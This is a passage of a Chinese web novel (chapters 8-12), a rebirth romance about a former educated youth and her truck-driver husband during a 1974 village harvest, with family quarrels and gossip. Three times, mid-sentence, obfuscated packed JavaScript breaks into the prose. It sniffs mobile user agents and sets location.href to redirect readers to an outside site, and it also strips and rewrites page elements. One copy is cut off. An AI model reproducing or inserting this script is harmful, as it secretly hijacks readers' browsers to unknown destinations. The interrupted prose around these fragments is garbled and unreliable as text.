说这句话的时候,周久迟毫不掩饰冷冷地看着孙盼睇。 孙盼睇有一瞬间被这个眼神刺得头皮发麻,但很快她的怒气就冲上了头,她刚想对着周久迟发作,毕竟一个小叔子竟然敢对嫂子无礼,可下一秒周久迟就淡淡地移开视线,撇了一眼周二周久建。 周久建本来也觉得周久迟有点太狂了,可是一看到他这个没什么表情甚至不是发怒的表情他就有点怵。 孙盼睇看到自己男人就这模样顿时委屈得不行,“周久建,你媳妇都被欺负成这样了,你还跟个孬种似的!” 周久建本来意识到自己在自己弟弟面前怂了就有点窝火,这时候孙盼睇还在闹,他顿时就火了,“孙盼睇你嚎什么嚎?” 孙盼睇一听到这个顿时委屈就变成了怒火,“周久建你说什么呢?我给你生了三个男娃,你就是这么对我的?亏你还是家里的老二,什么用的都没有……” 周久建刚想再说点什么,就被谢红英打断了。 “够了够了,大清早的又想闹什么幺蛾子,”谢红英眼刀撇过老二两口子,“你们几个,夫妻间怎么着我不管,但是你们也别管人家夫妻的事,还有,家里的活跟饭都是按照各家分的,每家赚了多少交给公中多少大家心里都有数。这个家现在是我来当,要是谁有意见大可以出去单过,这样也不用计较来计较去。还有!管好自己的嘴巴,下次我再在外面听到风言风语,以后就不用回家了!” 谢红英最后一句话说的尤其重,孙盼睇也对谢红英说的那个出去单过给吓到了,虽然孙盼睇一直说老三一家轻松占便宜,但说到底她还是知道凭她两口子是挣不了什么钱的,别说现在一个月能吃上几回肉了,她还有三个儿子,最大的儿子十一岁,正是能吃的时候,要真分出去单过那肯定是自己吃亏。 这么想着,孙盼睇也不闹了,哼了声继续吃饭。 谢红英也没再理孙盼睇,这个儿媳妇她早看透了,跟她娘家那个娘一个德行。 9. 第 9 章 整个早饭期间,应晚真没有开口说一句话,本来她是要说点什么的,但是有周久迟在前面,她也就闭嘴了。 吃完饭,大嫂开始收拾桌子,今天正好轮到大嫂做这些家务活。 家里其他人坐了会村里的开工大喇叭就响起来了,大家陆陆续续到大广场去。 应晚真穿着长衣长裤跟着周久迟一起走。 “今天你就跟着周大娘一起去薅猪草?”周久迟思索着,本来他想让应晚真在家里休息的,但是应晚真不同意,所以他琢磨着让应晚真去做些轻便的活,毕竟她的脖子还伤着。 “不了吧,我想跟你一起。”应晚真想了想,她想要改变和周久迟的结局,而且回到这里还是第一次见到他,第一次和他长时间接触,前世对这里的厌恶情绪还是存在,所以既然周久迟在,那么她更想和周久迟在一块。 周久迟听到这话有些诧异地看向应晚真,在他认知里,应晚真一直都是不愿意欠自己的,更是因为和自己结婚自己给了她一个简单的避风港之后,她也一直对自己很疏离,就算周久迟感觉到了应晚真对自己的感激,可是更多的是疏离,没想到这会儿她说她想跟自己一块儿。 应晚真等了好一会儿也没等到周久迟的回答,抬头看向他,正好看见周久迟回神。 周久迟斟酌着用词,嘴里吐出一个在他嘴里环绕过很多次的名字,但是从来没喊出来过的名字,“晚真,” 应晚真一愣,这句晚真莫名把她带回到前世离婚时候周久迟那沙哑的声音,平日里周久迟很少这么喊自己,那时候,周久迟说,一直想这么喊你的名字。紧接着应晚真看着周久迟欲言又止,后来两人没有再说话直接领了离婚证。 周久迟看到应晚真的反应,以为应晚真不愿意自己这么喊她,刚想改口就听到应晚真说,“怎么了?” 应晚真脸上没有拒绝和不满的神色,虽然还是淡淡的。 可周久迟心里莫名有了底气,“你的脖子还没好,稻子有毛灰,粘在身上又痒又痛,昨天你割了一整天的稻子,身上不少红痕,而且日头又大,去做些轻省的活?” 应晚真想了想说,“我来捆扎吧?跟你一块儿。” 周久迟理智上觉得应晚真该去做点轻省活,但是听到应晚真第二次说想跟自己一块儿的时候,他的心砰砰直跳,耳根也开始泛红,他不知道应晚真说的要跟他一块儿究竟是什么意思,但是想到两人要在一块儿他就高兴。 “好,那你就在我身边,要是累了马上就休息,要是身上沾到了毛灰就马上回家去洗洗。” 应晚真点头答应。 等到了晒谷场,已经不少人领了农具开始干活了,看见周久迟也是一个个地打招呼,周久迟也乐呵呵地回应。 也有不少人知道昨天发生的事时不时看向应晚真跟周久迟,但周久迟和应晚真两个人都大大方方随便别人怎么探究。 两人在领农具的时候正好看见大队长。 大队长周家良昨晚上就知道自己这个侄子回来了,本来想过来看看,但是一想天都这么黑了,两夫妻肯定有话要说,他今早也是故意等在这,就为了跟周久迟说几句话。 “三儿,回来了?” “欸,大伯,昨晚上回来的。” “你媳妇脖子怎么样了?昨儿个可吓坏人。村里人就爱嚼舌根子,但是嚼舌根还真是不应该,村里人我下回开大会肯定得好好说说他们,咱们村子还算是不错,怎么能让这些人乱搞呢?老三媳妇这次也受委屈了。” “嗯,有大队长这边给我讨公道,我这点委屈算不得什么,只是村里人总是有人编排是非,编排我就算了,要是编排到公社去了上报到县里,到时候说不得我们村子也要再来搜一次。”应晚真反应冷淡。 大队长本来是不想自家侄子心里心生芥蒂,至于两夫妻怎么过都是人家夫妻两的事,就算这人是自己的侄子他也明白手不要伸太长,夫妻俩的事嘛,关起门来自己处理就行了。 不过他还是担心昨天的事自己侄子心里不舒服,所以这才在这等着的,所以听到这话也马上回,“那是,咱们村里可不允许那些乱七八糟的人做些龌龊事。” 应晚真不置可否,这个大伯也就是大队长其实人还可以,前世他们之间并没有什么矛盾,他并不怎么管小家的事,只是前世应晚真在这里的风评一直都很差,所以他对自己的感官并不算很好,只不过两人从来没有什么冲突,他从来也不掺和夫妻间的事。 周久迟和大队长又说了几句就去割稻的地方了。 周久迟找了块边上有谷堆还有一棵大树的田,他边将自己的裤脚挽起来边说,“晚真,”说完,他还有点小羞涩,还偷偷看了看应晚真的反应,他担心第一次这么喊的时候是应晚真没反应过来,但现在他这么喊了之后却发现应晚真并没有什么抗拒的神情,反而嘴角挂着浅笑。 他也没问应晚真在笑些什么,只是继续说,“捆扎还要会儿,现在田里的水还凉着,待会儿会冷着你的脚,你先在岸边坐会儿,等待会儿打谷的来了,弄了几摞稻草之后你再捆扎就行。” 说着,周久迟又左右看了看然后凑近应晚真说,“打谷的时候会有不少毛灰,等他们多打一些,你再捆扎,捆扎那些离得远的,不用着急,不要那么大捆,小捆小捆弄,咱不缺这几个公分。” 说完最后一个,周久迟的心又提起来了,他知道应晚真一直觉得欠自己的,所以一直都是自己卖力干农活,想要自给自足,刚刚自己这话不知道会不会让应晚真难过,想着他又观察应晚真的神色去了。 但应晚真现在可没这个心思,毕竟毛灰难受是真的,而且根据前世的经验自己就算很卖力干也还是干不了多少个公分,虽然因为自己的成分问题可能会比别人更受关注一点,但自己同时也是知青,所以他们并不会要求必须要干多少,更多的是看你干活的态度。 应晚真也是真的不想自己的脖子好了坏好了坏,所以她也没打算逞强,能干多少干多少,最重要的还是要保重自己。 “我知道的,我尽量干就好了,你不用担心我。” 周久迟看着应晚真乐呵呵的,顿时心里也高兴起来,便马上下了田开始割稻,想着自己早点把这些割完就可以捆扎了,这样晚真就可以少干一点少辛苦一点,当然他嘴里可不会这么说,“我先割稻,趁这太阳还不大,你先在边上歇会儿。” 应晚真拿着周久迟的水壶和自己的就随便在谷堆的阴影处坐下了,正好可以看见周久迟割稻的身影。 看着看着,应晚真就不免入了神。 这次重生回来,她的心态已经不像之前那样了,之前她有自己父母被下放的担忧还有对自己的担忧,更有自己内心的骄傲,所以一直都像个斗鸡一样,每天都处于精神紧张中,但是现在的她是未来几十年后的她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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应晚真说完恭喜就站起了身,伸了个懒腰,“王知青,我就不跟你唠嗑了,这不,还得秋收呢!”说完,应晚真就走了。 王倩倩没看到应晚真那副冰冷高高在上却又必须下地的模样顿时心里就像堵了口气似的,她刚想拿昨天的事再刺激刺激应晚真,但是转眼就看见周久迟冷冷地看着自己,看得她心里毛毛的,眼神都不知道该放在哪里,好死不死的,王倩倩眼神乱转又看见周久迟那冷冷的目光,顿时她就受不住僵硬着身子走了。 等走离了视线,王倩倩才重重呼出了一口气,不过她很快又想起一件事,昨天的事她就应该直接在周久迟面前说啊,看他当初看不上自己,现在娶的媳妇,呵,还跟流氓不清不楚的,她就不信了,一个男的忍得了。 不过王倩倩的想法很快就落空了,因为听说今天早上王二狗被打了。 早上的时候周久迟上门打的,周久迟还说,“王二狗这癞蛤蟆我想打就打,我要是报官,他枪子少不了,也就我媳妇脾气好写个道歉信就完事了,不然我今儿就把他绑进公安!你看我敢不敢?” 听说那时候王二狗他娘还想嚎,但是王二狗被周久迟拧住了手臂,“你儿子之前跟别人去赌钱,偷鸡摸狗,现在这鸡都是公家的,你说他是不是薅社会主义的羊毛,我刚好有个战友调来公安局了,你说要不要请他来问问这算不算。” 王二狗一家顿时吓得不做声了。 而且周久迟打人的时候并没有掩饰自己的动静,他走的时候还说了,“我媳妇从来村子一直认真上工,就问谁看见我媳妇偷懒了,再说了我媳妇自律自尊自爱,谁再敢编排他看我不告到公安局里去,看看谁吃得住造谣罪。” 10. 第 10 章 王倩倩听到这事顿时心里就很不是滋味,这姓应的怎么命这么好。 应晚真也是在中午的时候才知道这件事的,而且还是从周大娘嘴里知道的。 要不是周大娘来问,她还不知道这件事呢。 * 这时候,周久迟刚好在河里把自己身上的泥巴洗干净。 应晚真看着他,顿时眼里含了点泪花,他总是这样,做了事却不说。 周久迟看到应晚真眼里冒了泪花,顿时就紧张了,“怎么了,是不舒服吗?脖子疼还是怎么?” 应晚真摇摇头,“其实,昨天我很委屈,但是我今天不委屈了,谢谢你!” 周久迟一愣这才知道应晚真知道了,他的耳根有点烧。他也不是为了这个,只是真的想她能够过得好一点,仅此而已,现在这已经是意外之喜了。 他支支吾吾地不知道该说些什么。 这河里也陆续有人下来把身上的泥土冲洗干净,搞得周久迟想张口也张不开了。 下午,他们一到地里就看见已经有不少稻子脱了粒,应晚真就该捆扎了。 周久迟看着这满地的稻草,又看了看天上的大太阳,微微蹙眉。 他看见应晚真已经挽了裤脚下地,手上也开始动作了,可几乎就是一瞬间,他就看见应晚真白得反光的胳膊上多了好几道红痕。 周久迟心里就是一痛,腮帮子也一瞬间咬紧。 可一看到周围人的视线,刚好就是一个癞子,他最爱的就是举报了,要是媳妇不做,他肯定要说三道四,到时候吃不了好果子的肯定是自己媳妇。 应晚真是看好了距离打谷机远的稻草,毕竟离打谷机越近,这稻草上的毛灰就越多,落在身上就越痒还疼。 周久迟眼看着自己媳妇干起活来,腮帮子又紧了紧,握起镰刀割得比上午还起劲。 打谷的叔伯看见周久迟这架势,顿时就竖起了大拇指,“老三,你这干活是这个!十里八乡见不到像你这样实在的后生了,我这有打谷机都得追着你干!” 周久迟扯了扯嘴角,动作却并没有因为说话而变慢半分,“秋收嘛,越早收完越好!” 叔伯一看这情形,也不跟人说话了,自己加紧干起来,别他一个打谷的迟迟跟不上还越落越远,那就遭人笑话了。 上午的时候周久迟就已经割完了今天的五分之三,下午他又更加埋头苦干,也就半下午的时间这一块地就割完了。 一割完周久迟就跑到应晚真面前,“晚真,你还有水吗?” 应晚真手里还抱着一捆稻草,她看着额上全是汗珠,嘴唇也有点发干的周久迟点点头,“还有一点,我拿给你。” 说完,周久迟就把应晚真手里的稻草给接了过来,三下五除二又加了点捆了起来直接拉到稻草堆里。 应晚真被这利索劲给惊到了,这一捆居然是自己的三倍。当然脑子这么想,脚下却不停,她径直跑去拿自己的水壶给周久迟。 周久迟咕咚两口就喝完了,应晚真看着他的嘴角和喉结,“你还渴吗?”说着应晚真也看了看周久迟捏着的属于自己的水壶,觉得它有点小了。 “还有点。”说着周久迟拿着空水壶目光坦荡地看着应晚真,“你渴不渴?我把你的水喝光了,”周久迟见应晚真脸上没有什么嫌弃的表情,心中一喜但很快又被自己的卑劣做法给压下去了,“要不你回家一趟再添点水,帮我也带一壶?” 应晚真没什么意见,视线看向周久迟时,她已经知道他要帮自己捆这些稻草了,接水只是给别人和自己一个借口而已。 回家用自己的水壶装了一壶糖水,再用周久迟的水壶装了一壶凉白开。 等再次回到田里,应晚真发现刚刚自己捆扎的稻谷堆已经堆好了,另一边又新起了一个谷堆。 尽管知道周久迟让自己回去打水只是一个让自己歇息的借口,但她也知道周久迟也是真的渴了。 应晚真走到周久迟身边,将自己那个装了糖水的水壶递给他,“诺,这壶加了你给我买的糖,你先喝点,再喝点这壶水,这壶就没放什么了,省得待会儿喝了甜的口更渴。” 周久迟原本想拒绝糖水的,但一听到应晚真后来的话就不愿意拒绝了。 心里比糖水还甜。 周久迟喝了一点就还给应晚真,“你也喝点,今天一天也累了。” 应晚真拿着自己的水壶,把糖水倒进水壶盖子里,慢慢地抿着喝。 周久迟看到应晚真的模样心底却没了刚刚的高兴,晚真是不是不喜欢别人用她的水壶,以前也没见她这样喝水啊。 怀揣着这样心思的周久迟眉眼暗了暗,手里更加快地收拾起来。 接下来的两天两人都在忙着秋收,周久迟还是割稻,应晚真还是跟着周久迟在他割稻的田里捆扎稻草。 不过周久迟是县里运输队的司机,所以在家里待了两天就又出车去了。 临走前,周久迟又仔细看了看应晚真的脖子,她的脖子现在已经开始结痂了,“这几天也不要去割稻子去捆扎了,再过两三天就能割完了,割完就是晒谷子什么的了,村里人都干惯了,你不用去干这些。” 应晚真点点头,之前她选择捆扎也是因为周久迟在,她想跟着周久迟一起,现在周久迟都出车去了,那自然还是自己重要。 * 周久迟一出车,应晚真再去晒谷场的时候就发现自己的活计变成了剥玉米粒,剥玉米粒就在晒谷场。 那里可以遮荫,还可以坐着,唯一让应晚真有点不适的就是那里多是老一辈的大妈,人多了是非就多,总是能够从这里听到不少别人家的闲话。 前世应晚真就总是在这种时候在别人嘴里出现,她刚知道自己做这个活的时候是有点惊讶的,因为前世她从来不会这么明目张胆的分配到这样的活,但是看到大队长冲自己笑,应晚真就明白肯定是周久迟离开前给自己打点了。 应晚真前世都活到了不惑知天命的年纪,这些闲话对现在的她来说不过过眼云烟了,所以除了一开始的震惊,她心里倒是对即将面临的各方邻里大娘没什么更多的情绪。 不过在剥玉米的大娘们看见应晚真愣了愣,原本说闲话的也停了下来。 应晚真没多理什么,只是看到了周大娘喊了声,至于其他人,应晚真也不是很熟也认不出来就大致喊了声大娘当打招呼。 周大娘对应晚真感官还是不错的,尽管都在传她是牛鬼蛇神的女儿,但是周大娘这么大岁数了,也不怎么计较这些,况且她还是自己从小看着长大的周家老三娶的媳妇,这邻里邻居的,便也乐呵呵地应了人,还给应晚真指了身边一个阴影处,“老三媳妇啊,你到这边来,这边到中午都晒不到太阳,而且位置大,方便!” 应晚真一听晒不到太阳就心动了,给周大娘道了声谢就坐下开始剥玉米粒。 而这片剥玉米粒的人中也停止了话题,大多数都有意无意地关注着应晚真,但应晚真就只是认真地干活。 应晚真以前并没有干过剥玉米粒这活,前世她都去秋收前线,因为她不愿意沾上一点周久迟的好,只不过就算她拼尽全力,把自己累趴下,也还是只能得那么几个公分,有的时候还会被嫌弃碍手碍脚。 “老三媳妇,你看我,这样再这样!”周大娘拿着两根玉米互相摩擦,用已经脱粒的玉米擦另一根。 应晚真看着便上手试,这样摩擦确实比用手几个几个脱容易多了,只是这样脱粒比较费力,她才脱了十多棒手心就已经红了,跟烧着一样。 可上工也才没多久,应晚真看了天色,太阳还在半空中,距离下工时间还久得很。 应晚真心里微叹一口,前世也不是没有这样的日子,只是后来大家日子都好过了,她也没干这些活了。 但她还是知足的,剥玉米粒这活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420815|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实比在地里轻松多了,最起码不用一直晒着,身上也不用沾着毛灰。 大家在应晚真过来剥玉米粒之后聊天声就小了很多,过了大半个小时,看应晚真在认真地剥玉米,尽管之前应晚真拿镰刀闹得那一出大家都知道,可现在她低眉顺眼地剥玉米,大家也就放下了点心防。 “老三媳妇,你家男人上班去了?” 应晚真看了问话的人,是一个村里比较活泼的人,也是个惯会随波逐流的,前世两人没什么直接接触,“毛婶儿,我家久迟是上班了,今天要出车。” “听听,喊久迟呢,说的这么文艺!”一大婶笑着调侃。 “又出车啊,这次是去哪里啊,能带什么回来?” 应晚真听到前一句脸一热,现在要她跟着别人说自己男人她还真有点说不出口。 不过毛婶儿这眼神中却是明显地打探,她笑了笑,“这不还是和以前一样,到市里去,说是县里有点什么要拉,具体的我也不懂,不过带东西?应该没有什么吧,没见村里谁拖他带物什回来。” 毛婶儿一听撇撇嘴,“我哪是问这个,你家男人工资那么高,每次出车不带点什么回来?” 应晚真余光有看到一位妇人拉了拉毛婶,就是想要她不要再问了,但是毛婶直接躲开,仍是眼含希冀地看向应晚真。 倒是周大娘看不惯毛婶这个德行,啐了一口,“人家要买点啥还跟你有关系啊?再说了,人家这一份工作还不是之前当兵换来的,当初人家保家卫国,现在退伍学会开车在县城谋一份工作,那是人家自己的本事,再说了,老三每次上班不是要好几天,这几天都在路上不累的慌,而且还要防止路上有人对货有什么坏心思,这活不仅得会开车,还得有脑子身上还得有点功夫,都是卖命来的!” 周大娘手上活不停,继续说,“还问人家买点啥,买点啥?还不就是家里的油盐酱醋茶,怎么,毛婶,你家大林上工不买这些?” 毛婶完全不顾周大娘的话,话虽是对着周大娘说,但眼神却不停瞥向应晚真,“酱醋茶这不是谁都买吗?我知道人家工作都是靠自己本事来的,可每个月到手的工资也不是一般人能比的,而且还经常到处出车,见的世面多,那买点啥不就很正常吗?” 应晚真闻言抬眸看向了毛婶,虽然毛婶这个行为让她很不舒服,但是这一世她已经决定不要因为这些那些闲言碎语再和周久迟产生遗憾了,尽管应晚真真的很不喜欢,但现在还是74年,距离她可以远离这个村子还需要三四年的时间,那么这段时间不要让自己的名声变得很差劲,不然人在这里总会受到很多艰难。 “毛婶儿,我家久迟每次出车啊都要在外吃饭,基本还得晚上八九点才能到地方休息,而且这地方啊吃喝都是要钱的,晚上还不能睡的太死了,得守着货,等送完货要是有时间就得帮大家伙带点家里要用的东西, “虽然他工资高,但是消耗也多啊,外边的吃食都贵,比家里县里可贵多了。平常他去供销社确实方便很多,这不是还有一大家子嘛,每次回来买点什么油盐酱醋茶什么的,每次买点也不买多,偶尔带点糖回来给家里的孩子甜甜嘴。” 毛婶听到应晚真这话撇撇嘴,她倒是不信应晚真说的话,毕竟在她眼里周家那么有钱肯定每次回来都带不少好东西回来,只是人家不愿意说,但她也不想平白惹人烦,只稍微阴阳怪气了一下,“那还不是你们日子过得好!” “哪有什么日子更好,大家不都是一样的嘛?毛婶你的孩子们现在一个在村里当老师,儿媳妇也是当老师的,教书育人多让人尊敬啊。” 毛婶的儿子就是张林,儿媳妇也就是知青王倩倩。 应晚真说完也没继续说其他的,她并不喜欢说别人家的闲话。 毛婶听到说自己儿子儿媳都是老师的话,顿时话里也没那么紧逼了,嘴角也偷偷翘起,“这算得了什么,不就是个老师嘛。” 11. 第 11 章 其他剥玉米的人跟应晚真也不熟,也就毛婶比较爱说些家长里短,这会儿有人奉承了毛婶几句,又说今天的活还没干完呢,大家也都紧着剥玉米了。 周大娘也一直关注着应晚真,她早些对应晚真照顾也只是因为觉得这已经是周家老三的媳妇了,算是自己人,怎么说也跟其他人亲近些,再加上她是很喜欢周久迟这个后生了,不仅仅是因为这人踏实,还因为当初他儿子受伤,要不是周久迟反应快,他儿子这辈子可能就要少一只手了。 现在周久迟媳妇跟在一起剥玉米,那不得多看顾看顾。 “呦,这是怎么了?” 应晚真猛不丁被拉住了手,眼神也顺着这话看向自己的被抓住的手。 周大娘看着应晚真红彤彤的手心,“这手怎长得恁嫩的!这玉米晒干了之后就是硬,咱们剥玉米虽然是个轻松的活计,但是也得用力气,你这手嫩生生地,也难怪会这样。” 说着,周大娘从自己随身的袋子里拿出了一双粗手套,“这我儿子给我弄的,他看我干活就非要给我一双手套,不过我啊,从小到大干农活,手里全是茧子,也磨不破,我带着这手套也不习惯,你拿去用,不然这一天过去,你的手肯定就得破皮了?” 应晚真看着自己的手心,她来剥玉米没多久就感受到了手心火辣辣的疼,虽然她也知道这是正常的。 她也知道周大娘说的是真的,如果自己这样干一天,手肯定破皮,只是得知这个手套是周大娘儿子给的,她顿时就不太想接受,“周大娘,这怎么好意思,这是你儿子的孝心,让我戴多不好,我笨手笨脚的,别给你弄坏了!” “这说的什么话,我也就是不习惯戴,不喜欢手被包着,可你这不一样,你要是不戴,手不需要一天可能中午就破了,再说了,你男人当初救了我儿子,现在我儿子给我的手套,我用不上,给你怎么了,再说了我又不是给你,只是让你戴几天。”说着,周大娘就把手套往应晚真手里套,“你这几天就拿些碎布做一双出来。” “行,大娘,那就先谢过你了,等我做好我自己的,肯定给你洗干净还给你!” 周大娘摆摆手继续干自己的活。 应晚真带了手套之后确实也觉得自己的手舒服很多,而且因为这个手套外层是粗布的,所以摩擦力比较大,剥起玉米来省力了不少。 第三天,周久迟出车回来,还带回来了一些海带和虾仁。 谢红英看到这些笑得嘴都合不拢了。 “敢情好,等明天去切块肉再从后院割点白菜弄个饺子吃吃,最近大家秋收都累坏了。” “嗯。”周久迟明显也很高兴,明显着他这眼睛都亮了不少,“娘,家里有包菜吗?这次要不做包菜馅饺子?” “家里没有,周大娘家里有,你要自己去问周大娘。” 周久迟一听就拿着菜刀过去了。 孙盼娣看着离去的周久迟,忍不住阴阳怪气, “娘这是真疼三弟啊,三弟一回来这又饺子又肉的!” 谢红英现在一听到孙盼睇说话火气就蹭蹭往上涨,“怎么,包了饺子你是不吃还是怎的,别说不吃了,就你肯定上赶着吃,你看看你家里几口人,做再多好吃的数你家吃的最多,而且这虾仁海带都是老三买的,不买来你有的吃吗?” 孙盼睇顿时撇了嘴,刚想反驳却在看到谢红英的眼神之后闭了嘴。 谢红英也懒得再说教自己这个儿媳妇了,反正这么多年了,她该说的都说了,奈何人就是一根筋没有半点长进,真是随了她亲娘。 孙盼睇也是一肚子气,她看见自己那不知道从哪里耍刚回来的丈夫顿时一股子气就上来了。 她直接冲过去拧紧周久建的耳朵把人拎进房间。 “你干啥啊?动不动就拧人耳朵……”周久建一边挣扎一边伸手想把自己耳朵解救出来。 孙盼睇可不给他机会,恨恨地说,“就是要让你记住教训。” 周久建一愣,“又是怎么了,谁惹你了?” 一进门,周久建的耳朵就是一松,他非常狗腿地将门关上跟上自顾自怄气的媳妇。 “我问你,我给你生了三个男娃,怎么说也对你家算是很不错的了,我就问你,怎么你娘就这么看不上我?”说着,孙盼娣坐在床上气得胸口上下浮动。 周久建就是个软耳朵,“那当然我家的功臣了,你看老大的,这么多年了一个男娃都没有,老三就不用说了,你看他娶的那个,啧啧啧……所以你当然是我家的功臣了。” 孙盼睇听着心里也是高兴的,她偷偷翘起了嘴角很快又压下去,“那你说你娘怎那么偏心,你看老三一回来,她就说要去割肉要包饺子,你看咱们天天在家也没说改善伙食……” “啥?要割肉还要包饺子?这是有啥好事?”周久建可没在意她媳妇抱怨的啥,他只听到了有肉有饺子。 “哼,能有啥好事,还不就是你那亲弟弟出车回来了。还带了点海带跟虾仁。” “还有海带和虾仁啊……”周久建想想就有点馋了。 孙盼睇也不指望他,虽然她也馋,但是现在她还有一件重要的事,“我可跟你讲,等明天包了饺子你可少吃点,”孙盼睇如愿地看见了周久建那不满的眼神,“这可不是我说的,可是你娘说的。” 周久建顿时就炸了,“我娘说的,咋可能?你别是在……”憋什么坏吧…… “别是在别是在干什么?我还能骗你不成?”孙盼睇吼完这句又收敛了点,“刚可是你娘亲口说的,说啥好吃的就咱家吃的多,这不就是觉得咱们人口多吃的多吗?” 孙盼睇看着周久建阴晴不定的脸,又说,“虽说咱们孩子多可咱们都是男娃,你还说你娘疼你,有好吃的还不是先紧着老三,老三媳妇都不一定跟他过还跟眼珠子似的,再说了就算没有老三,那你娘对你大哥也比对你好多了。” 周久建不耐烦听这些,“你不要说一件事又扯到另一件事,老三两口子爱怎样就怎样,又碍不到咱们的事。还有这吃饭的,哪次咱们吃饭不是老娘分的,大家都差不多,而且咱三小子能吃,老娘也没说什么,你就别想那些乱七八糟的了。” 说着,周久建就走了,他可不耐烦理这些。 孙盼睇看见周久建停都不停,顿时把枕头砸了几下。 另一边,周久迟割完包菜就进自己屋里了,他一进屋就拿出了自己袋子里的雪花膏,乍一眼却看到应晚真通红的手心,他心底顿时一揪,顿时放下雪花膏握紧应晚真的手仔细看。 应晚真下意识缩手。 周久迟也恍然意识到自己的突兀,悄悄地松开应晚真的手,把视线转向旁边,“这是怎么了?” 应晚真感受着自己手上骤然消失的体温,也有些怔愣,不过她很快回过神,“没事,剥玉米的时候搓的。” 周久迟一愣,“剥玉米?” 应晚真看着周久迟的表情,就知道他又在自责了。 “晒干的玉米比较硬,不过已经比割稻子好很多了,最起码不用晒太阳,也没有那么多毛灰黏在身上又痒又难受。而且周大娘对我很不错,她还把自己的手套给我用,我用了几天,等下次还给她的时候我想给她的孙子带几颗你给我买的糖。” 周久迟当然没有不答应的,“那些吃的你就放心吃,等我出车回来的时候会带的。”想了会,又接着说,“周大娘人挺好的,挺和善的,她小儿子和我关系也不错,以后要是上工跟着她也不错。” “你们关系很好?” 应晚真还不知道周久迟和周大娘一家子的渊源, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420816|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然这么问了,周久迟也没什么隐瞒的。 知道是周久迟救了周大娘小儿子周久春之后,她也暗暗几下这桩事,前世她只知道两人关系还不错,没想到居然是这样的缘故。 “这次回来是得什么时候再出车了?” “这次能在家待四天,再出一趟车去市里,三天的样子,以前是两天,但这次有些货要到处跑,所以耽搁一天。等我回来就把村里该交的公粮给运到县里粮供所去。”说着,周久迟看了看应晚真的神色,继续说,“明儿我去抢收,你这脖子还得再去大夫那看看,明天你看完大夫来给我送水?” 说完,周久迟忐忑着看着应晚真的态度。 “嗯,好。那你别着急干,累了就休息会儿。” 乍一听到应晚真的话,周久迟的心倒是放下了,只是很快又升起了一股名叫雀跃的东西。 * 第二天,应晚真被生物钟叫醒。 才七点钟,但在这时候已经算晚了,抢收的人四五点就下地了,就指望着能早点收完。应晚真这已经算是睡了懒觉的了。 等她从床上起来,就看见床头矮柜上的一张大团结,还有一张纸条,上面写着,去看病。 应晚真看着这个一笔一划很认真的字迹扑哧一声笑出来。 她还记得周久迟的字,他的字就像他这个人一样,认认真真,尽管可能写得并不怎么好看,但是每个字大小都差不多,一个个的,可就是感觉刚学会写字一样,应晚真看着这字都能想象出周久迟是怎么拿笔在这里写下的。 不过应晚真很少看到周久迟写字,前世的印象也只是在结婚的时候,在结婚证上签名时看到他的字。 那时候她的想法是什么来着,奥,不喜不悲吧,因为是寻求一个避风港,因为前路是未知的,而且那时候她只觉得周久迟的字很幼稚,就像这个村子里的人一样,都没什么文化。 现在想想当初的想法,应晚真也觉得自己的心境不一样了。 等应晚真收拾好自己出了房门,才发现家里只剩下几个女人,她们都已经准备好要上工了。 谢红英恰好也看到应晚真出来,“老三家的,你这脖子看着还有点瘆人,今天你就先去赤脚大夫那看看,早饭在锅里热着。”她从兜里又掏出了三块钱,“我早上让你大伯家老二帮忙割了点肉,等拿到你把钱给他。”说完,她就招呼马芳和孙盼睇上工去了。 马芳倒是没什么情绪,倒是孙盼睇,她偷偷斜了眼瞟应晚真。 应晚真没理会她,她去厨房取了水洗漱,也顺便把早饭给吃了,早饭也就是一碗稀粥和半个饼子,这稀粥是真的稀粥,三分之二的水,三分之一的米粒,饼子也是二和面的,有点粗糙,有点拉嗓子。 但这也没啥可嫌弃的,她知道这已经是不错的早饭了。 等吃完,应晚真在厨房转了一圈,没什么可吃的,这年头吃的少也珍贵,要是吃食随便放,那肯定一家人过不下去的,所以粮食都在婆婆谢红英那放着,当然她也不像其他人一样把粮食看得紧,比如说今天就有饺子吃了。 两个大包菜割好了放在厨房,还有海带和虾仁都拿出了一部分。 应晚真知道这是晚上吃的,因为周家一向都是以晚宴为主,所以但凡有什么好吃那肯定是晚上吃的,再说现在大家在抢收,白天也没那个时间去弄这些精巧的吃食。 在厨房晃了一圈之后,应晚真就慢悠悠走去了赤脚大夫陈茂那了,她觉得自己的脖子好得差不多了,这疤结了,过几天就会慢慢脱落,只是侧边有一部分因为沾了水,所以看起来情况不太好。 陈茂看了应晚真的伤口也没说什么,就说当心些别沾到水了,应晚真想了想自己脖子上的伤口还是问了句,“陈伯,我这脖子的疤能去掉吗?” 12. 第 12 章 陈茂站在药柜后,就着看了眼应晚真的脖子,后又低下头,过了良久才说,“说不准,想要白净得跟以前一样得好几年,不过自己注意点,淡点是没问题的,我这没药,而且这疤痕既然形成了,淡一点肯定要花不少时间。” 